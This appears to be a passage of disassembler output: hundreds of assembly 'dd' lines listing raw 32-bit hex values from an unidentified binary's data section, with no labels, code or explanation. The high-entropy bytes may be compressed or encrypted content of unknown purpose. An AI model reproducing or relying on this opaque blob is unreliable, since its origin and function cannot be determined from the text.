		dd 0BE4AB048h, 0E0489764h, 5489007Dh, 0E8CCBB18h, 9D430750h
		dd 40993F10h, 0CA9CED5Eh, 0F43D0200h, 0D297F6C4h, 0BB12016Eh
		dd 0D91465C8h, 80AFCDE9h, 32103A13h, 9483ECh, 85365AA0h
		dd 0F695B905h, 58C8D000h, 745C0A9Ah, 14549664h,	0AA60BE7Eh
		dd 1491EC3Dh, 0C3296000h, 7BA788C2h, 6B4B005Dh,	99E53617h
		dd 790075B0h, 9AA0EEB1h, 2C066544h, 9F28D4A1h, 99843BC1h
		dd 9C1B6445h, 1686EAD4h, 1F19D6EBh, 5C90C062h, 4C6911B9h
		dd 2DC7E42Ch, 4FAEFF00h, 3DF05F07h, 9401FBDBh, 59673B2h
		dd 0F1C200CBh, 0DE1200ADh, 0AB02973Fh, 2C00F529h, 173E6940h
		dd 24807B35h, 50726D7h,	0C0B687E6h, 1B71B4ABh, 8E60DE00h
		dd 301827AFh, 1522002Eh, 6D6E1333h, 4F09DC71h, 77FEDD75h
		dd 2B11D1A3h, 34163DF8h, 6D1D3AE4h, 6F8C1424h, 6B423Ch
		dd 0EC311F3Fh, 0A5959DD5h, 919CAB18h, 12AF8F09h, 4B29AA1h
		dd 0C3450DA1h, 5EC7C4Ch, 0C1182E98h, 2CA1DC42h,	164C4A4Bh
		dd 0EA3C58C5h, 557876D9h, 8E932D00h, 0F5C6F708h, 92CC4C5Bh
		dd 7454A300h, 0B736AD52h, 0A20C2BB0h, 0BF8ED586h, 0F2C40FF0h
		dd 3758F15Eh, 5526FBC3h, 0CA97B1CEh, 4352FB00h,	0D327C34h
		dd 307FC404h, 262308h, 0ECDD7353h, 0C269DFFAh, 4F3B6ABFh
		dd 0CF002BCCh, 0BC9A84F3h, 34115Eh, 29B2C614h, 0B7D61DA1h
		dd 0CF3B1312h, 7D24CA47h, 0FFE28458h, 82A11FFCh, 3AB6D12Dh
		dd 0F44BF7C1h, 0BC1782A4h, 9090E6Dh, 0A53A05F0h, 0F8D4F883h
		dd 0AE4245h, 24B92FE6h,	99EA84FCh, 1730317Dh, 331C2CC4h
		dd 49D6009Ch, 0CA237F5Fh, 90120EEBh, 0C31D6A63h, 8D28A201h
		dd 64D4471Ch, 24F100D9h, 7090545Ch, 0FD01DDC9h,	0D7FF48A1h
		dd 19807EC2h, 83DB2475h, 0DD006AE0h, 69BAD89Ah,	3C767A15h
		dd 38F3F97h, 3803B8A5h,	10C8E7EFh, 0D4001727h, 418FAFF9h
		dd 8CD2FAh, 19F2E20Fh, 0AD2E0A1Eh, 47C0AE4Ah, 0D2E4D0h
		dd 0D5F5D17Eh, 0DBE32C7Bh, 172E752Eh, 72DEFC40h, 5C1401A3h
		dd 5FE46452h, 4E099650h, 0A055AD0Bh, 3F9ACC98h,	0E07D5049h
		dd 6F5B004Ah, 0A72FEE02h, 3A92B212h, 0B3E84000h, 269F70D8h
		dd 8D7E0BBDh, 6002ABCh,	8481AE20h, 7756A400h, 3A133834h
		dd 0F8B01E1Ah, 166CA3h,	1D6540C3h, 28768DB5h, 436E2561h
		dd 95743372h, 0C2D22435h, 0C1E1D56h, 0AAED3899h, 0AB4A5FBAh
		dd 41796F40h, 969A08Fh,	72BC8B45h, 8A39B980h, 8CA9E8D6h
		dd 409A8EAh, 0FD2F7400h, 10B277D9h, 0ED336185h,	0B95C530h
		dd 6668B902h, 0CE80CFD9h, 0E6C7258h, 70FC3F00h,	4D7CF44Ch
		dd 52D30043h, 0D615A88Bh, 381A9D35h, 0C8586FAEh, 0E86BE9Eh
		dd 3CE5B2F2h, 0E6CD28E0h, 0C80082B8h, 3B072767h, 6AF93D2h
		dd 2A101E25h, 0AB0DB926h, 4A1ABA0Eh, 81028AA4h,	0B401494Ah
		dd 2E1BB1D4h, 0F96D55Bh, 720C33EEh, 8FB31200h, 0F2CC2FE9h
		dd 0A3830085h, 0E228775Fh, 2500FADCh, 7218E5Dh,	0BA185093h
		dd 0CF0348DFh, 0A0983200h, 251E8CA5h, 0C78F5416h, 58F4A51Ch
		dd 889A5D0h, 8D710010h,	784674A2h, 8300D211h, 4A63A507h
		dd 13721231h, 305F357Dh, 0D6C02F16h, 0F69AE00Eh, 0A5E72145h
		dd 0B6E44F81h, 27BA4880h, 0DC220200h, 0EBF5AE8Dh, 0D7F39A00h
		dd 51044D75h, 48FA7A3Eh, 218CC284h, 6045792h, 20C1B35h
		dd 46FEECC0h, 5AF40EF1h, 0FF80BB47h, 0ABFDC5FAh, 280BDC1Dh
		dd 0AD84C098h, 8561366h, 0F687023Fh, 32E3CBEEh,	1D345448h
		dd 12803A71h, 0F164DC94h, 795A3AB2h, 0C190D384h, 80F1D5B9h
		dd 349EA074h, 6963E177h, 0DDCB143Eh, 0B497C0C0h, 634A3890h
		dd 0A2FB2D03h, 2758A117h, 3A0B7058h, 2C13747h, 40F299BBh
		dd 725457h, 4B6E16DEh, 7D2910E5h, 4EADFE0Eh, 3905C063h
		dd 12FAC0CEh, 705BA4h, 0AB3F364Eh, 0D900B714h, 0C7F7220Dh
		dd 68DBFBh, 0EAC8C26Eh,	8564B594h, 24E8C4EEh, 61CE0212h
		dd 509C4440h, 705D054Dh, 0CDB83095h, 0BD163272h, 0D07EA90Fh
		dd 0DD2C00CEh, 0EA8DE8C8h, 77C0F53Fh, 0E56B00B4h, 15351639h
		dd 8500E0C9h, 0BB13F2FEh, 0E38861Eh, 7C4D0D1Ch,	0AEF7D1E0h
		dd 3C02A50Bh, 73BE0959h, 0C7954058h, 8CB2F6h, 0E154AA8Ch
		dd 0D533BB39h, 19A12800h, 93BD818Bh, 16A2E284h,	3038135Ch
		dd 3B090323h, 0F2C80C0Bh, 4195099Bh, 0EC2DE88Ah, 0BEC69516h
		dd 230C3540h, 0E08FC2EBh, 1C171DCCh, 9FEE031Dh,	6FF00A5Ch
		dd 50766652h, 0CBEB3D04h, 9F9188F7h, 93202510h,	86B400E2h
		dd 7B434FB8h, 0F113D827h, 4C5091EDh, 3A18059Ch,	0E7AF02E4h
		dd 22134F42h, 68D961FFh, 59B56BD5h, 5BFC75E6h, 0C86CF954h
		dd 0F076AC16h, 0CD0EF277h, 0C0788664h, 8D2B9FCAh, 0BEAF807h
		dd 39E3A190h, 544ACBD8h, 84FC3DEBh, 8408F7Ch, 0D3118EABh
		dd 8BBFC3C4h, 0DA94C082h, 0EAFFFDh, 6BE4B718h, 0C53638C7h
		dd 96E53400h, 0E9A255B8h, 37A05h, 72A7E0FFh, 68A63C91h
		dd 5751581Dh, 0D97B7781h, 6261C907h, 17F8E4h, 45A10BB9h
		dd 8F016D2h, 13FF9024h,	48E40D00h, 3571769h, 0E0FE1BBAh
		dd 6E003262h, 50981F3Eh, 0AA014Ch, 0A92EA1ABh, 0DD3A4F5Eh
		dd 5B3F4903h, 0C8E916A6h, 0EC6E86EDh, 28930F73h, 90E08D62h
		dd 33B97910h, 0C8CC4F0Fh, 5B031719h, 809F2EEEh,	694330h
		dd 4775BADFh, 686B8C93h, 5C15DE98h, 8F08E8h, 9A7DF8F1h
		dd 74207F2h, 0BBC88156h, 5A2A91A1h, 0EFE0E066h,	46C2F0F1h
		dd 0F8EF809Dh, 0C2182668h, 0C0BF660Ch, 320F35DEh, 0F59C38Bh
		dd 0C55F4088h, 9E5E1CF1h, 7E9CCCDh, 2D026617h, 57DC569h
		dd 40ED8E7Fh, 0E92A7912h, 0D25C010h, 0ED158520h, 0E20FA5E8h
		dd 0E144347Eh, 91B0C1DCh, 0A6BA3680h, 8B0F613Bh, 0D82E0351h
		dd 0A0389F2h, 0F902EA83h, 0BE53884Ah, 8D3EC50h,	0F4B5E34h
		dd 10B83330h, 136C0C83h, 3D1526E9h, 68030F00h, 0D32DC097h
		dd 77513196h, 78E9F15Ch, 440072D8h, 1D8333C2h, 1C9867DEh
		dd 40B03ABCh, 48211216h
		dd 0DF00B7C9h, 2A8627F0h, 703389Bh, 0FFE9C46Fh,	2CB8324h
		dd 86D8C3F7h, 9DD97CE9h, 6007128h, 1DCBABECh, 8021CE22h
		dd 0F4F91283h, 5DAA1101h, 93A797E4h, 0C90C3806h, 11B7035Ch
		dd 18B2E21Bh, 81D114DDh, 0E458B62Eh, 58116039h,	208AF744h
		dd 0D81D9E55h, 0AEC8EA78h, 0C804F83h, 0F2D61952h, 9A1E7090h
		dd 0F600090Bh, 2D862EB7h, 986E0004h, 0C3399405h, 0DE301465h
		dd 7E0D109Eh, 8F5B0119h, 0F497AB54h, 36EC8EDh, 0D474870Ah
		dd 603184C4h, 0C307F3AFh, 39C1101Bh, 0F9108C20h, 99F141h
		dd 0B572336Ah, 8E7D2778h, 742E4203h, 0C034709Eh, 1D3266BCh
		dd 373E986h, 0B508163h,	276B92C0h, 54B67707h, 9B407921h
		dd 877E17h, 97572C76h, 836FD947h, 790D6D00h, 732B7489h
		dd 32450E87h, 284FB970h, 53382A4Ah, 23C3B8D3h, 54184AC7h
		dd 25085963h, 76C361h, 2E63E7B0h, 0D96E9D72h, 6AB85600h
		dd 9B9C5934h, 0BD701D08h, 966D0F76h, 830E1501h,	2A54CC67h
		dd 24A68A0h, 47355278h,	513929h, 2FB1F104h, 0A194024h
		dd 0F97242A7h, 475380C8h, 5F56D2F0h, 3D9A1400h,	7E089403h
		dd 4306812Bh, 194834FCh, 2470785Dh, 208108A1h, 1D034D58h
		dd 9CAE373Eh, 80628A9Ah, 9454872Ch, 8C0090D6h, 887A680Ch
		dd 0CE48E30Ch, 4ED63003h, 6434951Dh, 2004A058h,	61DCA715h
		dd 314B4075h, 98742581h, 71597640h, 781554D5h, 822F284Bh
		dd 34D42158h, 0B02C14DFh, 77C3C8EFh, 0DD3A13E4h, 0BBE4C580h
		dd 7E2A9CB3h, 0CC9B498Ah, 0D84F1B1Fh, 941628F9h, 96A35502h
		dd 896F0297h, 211CA40Ch, 123CA141h, 57B830A6h, 103AC37Fh
		dd 0DC5079D4h, 9778D80Ch, 4FC8E49h, 0CA5D7A0Eh,	6903B0C0h
		dd 834E3A47h, 5C30EE4Ch, 17DD8619h, 0C14CC4Dh, 0B1E7254Fh
		dd 1D60AA9h, 74642919h,	4CC26544h, 6F2AF08Bh, 46BC818Ch
		dd 1D7D4A08h, 732CB8A4h, 0D88564D6h, 0F042892Ch, 994D9780h
		dd 0E0449AF8h, 0C95454C8h, 48845659h, 2CDB4104h, 0C1859927h
		dd 32955EDCh, 0E4288F8Ch, 947804D4h, 0C914A361h, 9998907Ch
		dd 8C59099h, 0DC985982h, 6342307Dh, 0C267819h, 566988A6h
		dd 64AC8AE0h, 1093E910h, 40989498h, 0E0A8289Dh,	0CA48606Fh
		dd 0A1DEC80Ch, 998D4680h, 9B280C8Ch, 8B168C90h,	42A39D6h
		dd 335F8285h, 0E0580888h, 0A2F44068h, 28D87544h, 124896CCh
		dd 4280D204h, 8CB0C560h, 9A452846h, 6734800Ah, 510C6199h
		dd 618C4023h, 0C997B69h, 34ED23FCh, 808A8EAh, 4ACD64DFh
		dd 38E680DBh, 2E0C8C99h, 4AAC9906h, 5C917F9Ch, 956521EAh
		dd 0A0578CD9h, 9B6261DFh, 9714416Ah, 0FEA4DF11h, 0F074102Bh
		dd 5061D50Ah, 115C8F2h,	17DAC6CFh, 93518AC8h, 814DA81Ch
		dd 0CA9103F0h, 6AD8D279h, 5849BE30h, 4CA4A1B2h,	0F72CCF97h
		dd 0F6C4D738h, 52D5C16Fh, 10802289h, 5F928250h,	78907CE2h
		dd 4424F13Eh, 42E64144h, 0DC2063DCh, 0C0D0E0A4h, 0FD314918h
		dd 4863AD2Bh, 0E4D2E870h, 10FB6D44h, 8C7A229Ch,	0C6A4083Ch
		dd 28F270C7h, 0B2E03CE8h, 8F4163DAh, 3C8ED82Ah,	9CBCC708h
		dd 21C1F06Ah, 0CDFB80h,	8EB43D7Fh, 0E7430E46h, 6A3C9B0Fh
		dd 590481FCh, 42F04595h, 4D14A02Ah, 0FE9F805h, 6A1BD954h
		dd 980291E4h, 994C2548h, 0AAC21148h, 4BD37206h,	23143004h
		dd 5F082C8h, 86171D51h,	3C5FFC01h, 502438E5h, 438E2ED2h
		dd 0BFD40860h, 56C06782h, 23209E99h, 0AE093FF4h, 31242092h
		dd 16592216h, 270620h, 1E98AA75h, 0BA001003h, 83C91318h
		dd 0C0B4C551h, 2FDBA171h, 0F33A9786h, 3F840D4h,	4E7C6965h
		dd 59E9C67Ah, 0FF089842h, 6D1521h, 0B6CD3169h, 0BEDCA1EAh
		dd 2D0FB56h, 0A04C343h,	308C809Bh, 1CA7D359h, 0DF6C5150h
		dd 7AE20983h, 26C61B80h, 0F6096802h, 2A957DB0h,	0B4080870h
		dd 638A0FCCh, 0C0145C01h, 0CB508449h, 4D7DC18h,	0F94A0EF0h
		dd 9738C6D4h, 2A3A19A4h, 81D11E78h, 26FE0204h, 947DCA40h
		dd 0F5E4A367h, 57AB8219h, 2180D208h, 669445E4h,	0D700A9BEh
		dd 33187865h, 0D43401h,	758A16EAh, 0F3F1679Eh, 3800C099h
		dd 87BBA183h, 0F6A203CAh, 67E25C1Ch, 4B8F8EF8h,	0FB970701h
		dd 8B6B0141h, 4CEC4CE0h, 6C0C1C5Bh, 0BBB19602h,	8DC33A00h
		dd 26A22510h, 8156618h,	55002185h, 7528C303h, 28771B67h
		dd 3B90ED8Ch, 0F8289A0Eh, 6FBB0D80h, 8318EF44h,	0EC571960h
		dd 731000F0h, 2AF4031h,	34A5009h, 389DC45Fh, 8B178040h
		dd 3E230FEh, 0A8DD90A5h, 0B8F61B32h, 0B70426E2h, 73A9C4C0h
		dd 30991882h, 7E11696Bh, 0C5886A4Eh, 69531780h,	2C89B755h
		dd 14009681h, 68802098h, 524E4169h, 16FE448Ch, 0FA695000h
		dd 0A8EE4417h, 96E204B1h, 8284AB20h, 20E23E92h,	0EC002879h
		dd 51F9128Bh, 3608007Eh, 0C2E619C8h, 5C036EB2h,	0B8EBFE23h
		dd 7597807Bh, 523B74C0h, 3850C4ABh, 718803D9h, 5936C4D4h
		dd 0CE0269F9h, 6A955C79h, 0B980A38h, 2C30C519h,	0FA54BF9h
		dd 6910CBB1h, 0C43BABE3h, 0C933B3CFh, 8C4C06C1h, 5196B0E1h
		dd 0F78FDh, 7D2F339h, 0F8E0156Fh, 0ED7E8C00h, 2A1B389Eh
		dd 0BF40C749h, 0B7D08C1Ch, 0DD50D406h, 89D20Ch,	41753B9Ah
		dd 0E09269F3h, 50254A0Bh, 0A144042Eh, 800B108h,	60AF6D51h
		dd 7D29022Fh, 0E3C6AA4Eh, 18859840h, 9BF9A601h,	3D1DC85Bh
		dd 1233EC64h, 12C54C43h, 5A1C00B0h, 2018C84Bh, 941138B9h
		dd 0F136C901h, 20499D7Dh, 0CD41D054h, 6C7C4840h, 0DC7279h
		dd 3C901ADEh, 8652184h,	721DCCB4h, 193EA300h, 0CAD7786Fh
		dd 4F0D439h, 82B146h, 0D691A6D8h, 8E19283Ch, 88015484h
		dd 4321C0ACh, 45B8D699h, 58E4EA24h, 0FFB16831h,	18F14020h
		dd 0C892A4CDh, 44001E82h, 0C1206CBDh, 9A67B559h, 2D14124Ch
		dd 4CB800E8h, 743C5CF1h, 4FE83B60h, 0C9B87B15h,	0F0245940h
		dd 8A3CC8A0h, 0D7FEE918h, 0FD9E11h, 0B2E436D9h,	1216416Fh
		dd 102AE72Ch, 49670C00h, 1A2EC21h, 683EE0A1h, 91444B92h
		dd 8D8542F0h, 0AEFC0AD6h, 40AF4478h, 0C3D6955Fh, 0F5EC09DFh
		dd 3C4902C8h, 0A3B6D429h, 2D51FCA0h, 75885B5Dh,	26CCB4Ch
		dd 9736753Dh, 0FC6088A3h, 0DD113998h, 7F8F0322h, 6E1E5373h
		dd 64A15120h, 508A3808h, 837C3E84h, 9AB1C8C2h, 90080249h
		dd 0A36E3F43h, 6F1BF080h, 891CFDCh, 20845100h, 2F8C3B0Fh
		dd 82CD5F3h, 29E0CB09h,	0E8489C0h, 48A151A6h, 4F8BA0CDh
		dd 0D00008h, 172708Fh, 7834DB87h, 6081214Eh, 0E3604360h
		dd 37249021h, 5351D6FEh, 0B88A73Eh, 5C06AF42h, 9C38D3DCh
		dd 0AC8704ECh, 810C8B56h, 2D71860h, 80244041h, 0E1301696h
		dd 1B820026h, 0A2D51831h, 469FCD0Bh, 6BD00297h,	0B2E7073Bh
		dd 0B886AB70h, 8803A89Ah, 0F9F4BFA0h, 7A8900DAh, 0CB90C32Bh
		dd 0CE308E53h, 3ACCDE0Ah, 86A8053Fh, 0C445B61Bh, 0C7F08033h
		dd 8902A339h, 558AEA05h, 970048A6h, 42954F5Dh, 0D9209AACh
		dd 141DBC08h, 9C419F56h, 0D7F031C7h, 3200042Ch,	0A52B1501h
		dd 0AE08121Ah, 251D65h,	830E995Bh, 100C9266h, 18C1409Ah
		dd 37185C06h, 40331C12h, 5675E9A0h, 611807E8h, 3F919DB1h
		dd 996509E0h, 0AC92A796h, 0EEB802Fh, 548A6C21h,	0F93192A9h
		dd 21B19820h, 2FA20004h, 5028C5BBh, 0A7F85E10h,	3E41A407h
		dd 0AAD07076h, 3D039BA1h, 0F8D2A331h, 2814CB0Ch, 1EEA149h
		dd 68A7190Bh, 0BD9048E8h
		dd 0B0C8D4DEh, 8F014423h, 0BE193AD6h, 5D88A518h, 0D0D60097h
		dd 4410C627h, 0AF001AE8h, 0C0ABBB7Eh, 49B4291h,	0D51D4A48h
		dd 3CA303A0h, 0BC01A5EAh, 14DAD1DBh, 0B12D1872h, 1FC45020h
		dd 0CD020FC0h, 23974C71h, 0CCB8828Ch, 74560326h, 11D0D194h
		dd 8A0820A0h, 0F45D594Bh, 0D58457C6h, 7A0C08E0h, 0C800BB19h
		dd 479D487Ch, 0EE09A72h, 5D52102Ah, 6B04097h, 5EF64C9Fh
		dd 15184EFEh, 24B9940Bh, 4FAF4052h, 23A0C65Ch, 4F401F09h
		dd 88F1A368h, 48EB83D5h, 12E3C394h, 0A198A7F4h,	7C088AFFh
		dd 4E20688Dh, 0EC93FE8h, 0FE12007Ch, 4A24A166h,	39148342h
		dd 0CEF38815h, 9CBC00D4h, 0BA664572h, 99FA26D6h, 7830484h
		dd 0A148C368h, 28985387h, 9DB03005h, 0B002278Ch, 4ABE10CEh
		dd 0F0584344h, 925E3CC9h, 0DC5900C4h, 623AA0EBh, 0D0A88602h
		dd 5F05EEF2h, 1368D942h, 0CA722380h, 0B3410178h, 35C9871Ah
		dd 123CC4F8h, 3B0F2C92h, 0C0B16401h, 7A0EDF60h,	80D56FE9h
		dd 72C93C80h, 9812B53Fh, 0A8C0109Dh, 12F0AA6Ch,	82817CAh
		dd 0B3859CC0h, 0D490FC5Fh, 0FE9DAF16h, 3F84A4F0h, 0E38E5185h
		dd 0CD6066C9h, 54571A87h, 781D30B4h, 5550FE58h,	9A2D141Fh
		dd 0F0094D8h, 0F042513Ch, 1E077ED2h, 22EC33B1h,	0DA705F97h
		dd 0EEA2841h, 0E825922Dh, 0EB81538Eh, 0FC5B7C62h, 707E746h
		dd 0F34C27D9h, 2C41DDC0h, 4BDF001Eh, 7E70EA30h,	93F0D12Bh
		dd 0B724D1F9h, 0EF631128h, 0D530E0DCh, 2A451E29h, 2C7E001Eh
		dd 585070DAh, 2244F8F1h, 4C28EA0Fh, 41230721h, 50DED780h
		dd 532C2824h, 47E5698h,	0A537E0BEh, 31D50020h, 0DD2C5E44h
		dd 18A52F7Bh, 506EAB86h, 0CDB40010h, 4D57CAF8h,	0F4042AADh
		dd 7EAECE37h, 0C6AEC3h,	74C6718h, 7FCCCD18h, 0CF4B800Ch
		dd 474879h, 0AD82ED9Dh,	83F53E74h, 3CC5C91Ch, 0ECA9AA00h
		dd 1E7C49h, 0CC0F6532h,	537FD2F8h, 0F3D48600h, 63465B83h
		dd 0DEFA004Fh, 0D86C8A95h, 0EC07AA76h, 4554D611h, 3C53A211h
		dd 188372E5h, 0BB7BF547h, 23527005h, 4001A544h,	0FE2AF329h
		dd 4ED0D983h, 87A7D348h, 32F84C4Ah, 66C03D61h, 7C50B7BBh
		dd 8C42B5Dh, 7F6D16A2h,	309464D8h, 8D10479Ch, 0C9F7AC5h
		dd 10C76862h, 101A2328h, 6C0201A3h, 96CC0E93h, 9C67BCA0h
		dd 0C8609EC0h, 6E92CD40h, 9C4D5051h, 68C5198Ch,	853A7820h
		dd 59D5F2B1h, 11EB8C28h, 0E3BE5CA9h, 2E80053Eh,	0D41B4998h
		dd 7E8C406Ch, 0F93713Bh, 0ABEBC809h, 0F30C237Bh, 3132C88Fh
		dd 4F51CDFh, 32EF66C0h,	4886CE89h, 9A24487Fh, 12C42879h
		dd 62F3648Ah, 1FD30958h, 0AA00E599h, 0A6F02749h, 87E451h
		dd 284A3F18h, 214270EBh, 412BEF07h, 5187ED30h, 3178184Bh
		dd 0E8F30D4Fh, 0F2CA45DDh, 3FCFC780h, 0EF002792h, 0DE54F2Ch
		dd 0A6EEE844h, 7370044h, 0E4F8D974h, 4AC6BDFh, 31C7AC05h
		dd 0C34FB6Ah, 0D1010801h, 25F24A2Fh, 63031D3h, 0D0084835h
		dd 0F8864FF8h, 3A9D83FEh, 657820A0h, 32420992h,	8995410h
		dd 0FE0548Eh, 3015B64Ch, 213AE6A3h, 1088431Ah, 80117C91h
		dd 9F089178h, 70400E10h, 0C2264092h, 147C9C9Bh,	0C1692EEh
		dd 641E0F85h, 650018Ch,	0A9AE023Bh, 5119A428h, 4F124E09h
		dd 4D484C24h, 4B224A91h, 89494844h, 24471246h, 91454844h
		dd 44432242h, 0EC8B4140h, 0CA877F4Fh, 5A003C6h,	0F5A3AA8h
		dd 7BD3C1C6h, 84D152B8h, 5D044ACAh, 84A1765h, 5200BCFAh
		dd 75377EAh, 3793ED0h, 0C000CD3Eh, 6B83D3F0h, 7400D28Dh
		dd 0E1EA4550h, 74D07751h, 786F74F9h, 0C86778F1h, 0FC087F40h
		dd 720108Ah, 0D2ED6B86h, 23F35150h, 0D7489417h,	0FF0487FEh
		dd 0B37A9255h, 0CE3A0788h, 0C422A53Eh, 72852F38h, 0C0382AD3h
		dd 0A3DED55Ch, 0E4E38802h, 0E0A1DF19h, 1014E109h, 0AABF0418h
		dd 565100EEh, 70DB7177h, 0D5EA06DEh, 21F3CC1Ah,	798EFA14h
		dd 2B00AB38h, 0BE1E2E93h, 553E6E8Fh, 0CF7F1872h, 0F9C618h
		dd 0D3E7D2FBh, 0CC677CE5h, 8C031CA3h, 8A774B9Bh, 917ACAADh
		dd 9C7AC728h, 0C18DFE4h, 0AB4110AEh, 30506080h,	2A7F312Fh
		dd 4C28DB03h, 0E01ED32Eh, 78DDD8E5h, 2DD6004Ah,	627E2651h
		dd 0E807224Ch, 0E5214F2Fh, 1473F365h, 2747C1D4h, 2B413080h
		dd 224EDBEFh, 582DDA30h, 7B4228EBh, 4F231D5Ah, 8553C02Ch
		dd 7FDED231h, 8C2FD338h, 18295E4Bh, 23D60021h, 0DFEC287Ah
		dd 0B0E9307Fh, 4C2A2880h, 24E71D5Fh, 0DCD9037Eh, 780C5E7Ch
		dd 31D72246h, 0DEDD7AEAh, 0EE240A59h, 4FA8680Ch, 2C4A2EE0h
		dd 430A27DBh, 88DCEF21h, 4229EA02h, 0CEDC9825h,	6C870F34h
		dd 0F02ECA9h, 0E8A0E9CFh, 77054C2Dh, 10CCCD24h,	8C907BAFh
		dd 8D1975AAh, 43442400h, 0EEAFC7CEh, 0F3C6077Ah, 7E6F3A4Bh
		dd 0B124E977h, 58C883F2h, 18127B73h, 0A1F16F42h, 6E06AE0Dh
		dd 59F5C204h, 0D07F1868h, 0D19BA9B2h, 7452AD80h, 4EE51C3Fh
		dd 5132A00Ch, 84D3E172h, 4C5FF318h, 0CD681E12h,	4A513084h
		dd 0B1CB0A31h, 59B219DFh, 5174814Fh, 288FF1B5h,	4015F0A8h
		dd 64637320h, 0A013FE29h, 0C64DF5C5h, 8133A859h, 61C9CA31h
		dd 2C42B2ABh, 3CC420E1h, 0C8A06D07h, 80FB14AAh,	0D0947B20h
		dd 764D50A4h, 0A5581271h, 42A003C8h, 5100C66Eh,	0E4D9F48Dh
		dd 0C15074ADh, 9C648E79h, 56318CC6h, 2A4EB954h,	2FCB037h
		dd 0C4B1BD51h, 0A4A674A8h, 0B70A9973h, 0DCF69CCDh, 31401824h
		dd 0C380A544h, 0D0DEAB31h, 97F11814h, 95FB144Ch, 0FA844058h
		dd 28A4744h, 0AA29BC6Ch, 9120D3ECh, 0C4509D8Ch,	9269CA31h
		dd 4CAAD138h, 88B01154h, 0C5BBD8E6h, 0A4263C29h, 0FCB8F810h
		dd 967D2386h, 0D58B831h, 1078210Bh, 86E9B805h, 51E4523h
		dd 86E9D8Dh, 1057ED28h,	7ED58465h, 42F5103Fh, 0BD111FA2h
		dd 39881FF2h, 819516Dh,	0C750A765h, 0B515841h, 289FCA09h
		dd 51669D08h, 8D35083Ch, 0C82C5D45h, 1D468433h,	184AF9A1h
		dd 5C32E351h, 6E846C48h, 8C2152C8h, 31836D4Fh, 0D03B30BBh
		dd 5C492106h, 0D46198A9h, 6F118440h, 0B1E901D1h, 41A9AC6h
		dd 130C58A1h, 3C7C0F0Ah, 5762210h, 4FE28873h, 4E082144h
		dd 138C3719h, 0D03749FAh, 88CC0FD2h, 0AB8C5074h, 91A13974h
		dd 2B4601C4h, 8245FAC2h, 48C16611h, 95A093A5h, 0EA599863h
		dd 334E6C8h, 8B668FD9h,	41007F51h, 5BBAF967h, 0B14BC8h
		dd 0F6B439Ah, 455AAD47h, 0D979A600h, 376FC020h,	95C9A14h
		dd 57C1B853h, 0EAAB0483h, 2C1F7100h, 0E77D29E2h, 692D000Bh
		dd 1D97DEA3h, 31006EB9h, 8F95A673h, 78F330C2h, 83900046h
		dd 0D43E2BE2h, 6C00D992h, 704DA9F9h, 0A38B6050h, 0F81895DCh
		dd 0FC64EC18h, 9FF1086Eh, 0C903498Ch, 8B8E692Ah, 809CA04Eh
		dd 0A6FB804Ch, 0A5E1EE04h, 64C09961h, 2D5209h, 3BB3BA3h
		dd 0E7C0F5F1h, 5505EC98h, 0F0A7FB30h, 20765882h, 78501CC8h
		dd 27ABF0C5h, 91AA041h,	0B3087E0h, 0AD5C0075h, 0C6D5EBE8h
		dd 0A8344A05h, 5DC0290Bh, 3CDE2Dh, 9C5085D9h, 72077C8Bh
		dd 0D516100h, 58C88F1Eh, 2230C07Fh, 0A63AEC0Fh,	0E2BBDF00h
		dd 381068F7h, 23ACA009h, 3D2A00B0h, 1E21A3E0h, 7F085F1h
		dd 3C73971Fh, 3BC5BDC2h, 0DCED600Eh, 0CCBA0F31h, 0AEAE11D8h
		dd 0FF802D80h, 0BC023FC5h, 0BF29D4C1h, 8EC8E1CCh, 72DEC9F0h
		dd 0C574ACh, 2DCBC8AAh,	2C2473E0h, 0C9A5AF03h, 17FDB9DCh
		dd 0EFEA840h, 0CABEB4FCh
		dd 4040B22Ah, 0C1FDB12Ch, 0B0BC2F07h, 0C7470F6Eh, 9BBDDCD2h
		dd 0C2983930h, 1CCCAF94h, 22C9ABC2h, 0C29E5020h, 2EBAE3DCh
		dd 6E0260D3h, 6F732053h, 220604B7h, 0F70CCAEh, 6518BEAFh
		dd 50DBF801h, 0B3184C23h, 31C5C100h, 1AD6FEB5h,	0DB850AEFh
		dd 0E12CAFD9h, 40BDDEDCh, 81EFDFC4h, 87376E05h,	38633285h
		dd 1DD7E053h, 0C79A0737h, 4A802EDFh, 58B25114h,	33007340h
		dd 24D7F537h, 75D1B327h, 0C2842AC9h, 0DBC53AF8h, 94BFEA94h
		dd 0AF0447ABh, 0DE883E80h, 94070C3Ah, 8F023FA1h, 84A00AC7h
		dd 1DFD1FEh, 1FDDCCACh,	0F2CBD7F1h, 0AFA3006Bh,	200928C6h
		dd 2E34DB8Ch, 0FAB3A098h, 2C871F14h, 2411D8CFh,	84DF0C40h
		dd 0FC045028h, 0A9DE32FEh, 6C4020C9h, 0E3C1BF37h, 56D3BDE5h
		dd 1B0D7450h, 491F561h,	0FF042B60h, 302BBE00h, 0DCDFC5B5h
		dd 2CD7C04Ch, 7092902Ch, 481C4062h, 0E2F0E58h, 2DD4C8B1h
		dd 304858Fh, 0DFD0C0B7h, 24F087BDh, 40C68131h, 0C030FCAEh
		dd 3FF79C3h, 0D193AF31h, 10A6AD23h, 6000CCE8h, 0DDCF8044h
		dd 58C8B229h, 0D01670DBh, 8A8B0FDAh, 80B37004h,	0FFB925A0h
		dd 0CBAF10C6h, 0C8BD2460h, 93AC00ACh, 0CCB529DAh, 0B8600E78h
		dd 0C2A87040h, 0DE80E8D5h, 3ABA1EC8h, 30BB2298h, 0D5F8C023h
		dd 0A020D3F1h, 2DE7129h, 31D8CAB3h, 18C685B4h, 4AD50487h
		dd 0DEC250F8h, 93782D78h, 0F281D4B9h, 0C32CD6FDh, 623C6066h
		dd 27C9A400h, 0DDDB93BDh, 0D2B8AE49h, 0A8DD1870h, 4CF090CFh
		dd 250E1CB8h, 2280FFB3h, 70DCCCB0h, 61F8813Eh, 28DAC290h
		dd 50E27C61h, 0DEC70287h, 531CC481h, 4234051h, 3BBEF05Dh
		dd 0C4B22C73h, 0C7C59C16h, 38CCB40Bh, 4CCB93E4h, 0D1CB0C31h
		dd 0C3AC9801h, 0CCDC60CAh, 0D3D821E9h, 0FE2C287Ch, 349C4C5h
		dd 16C9931Ch, 1423DB09h, 0CCA7E4C4h, 0C0B2FE50h, 2862691Eh
		dd 3804202Eh, 10C3FCB2h, 0AF691FBDh, 0B72E0EC2h, 2091DB8Bh
		dd 2C96F223h, 21F83C90h, 0DAFEBD04h, 34C1B131h,	0F880B3D8h
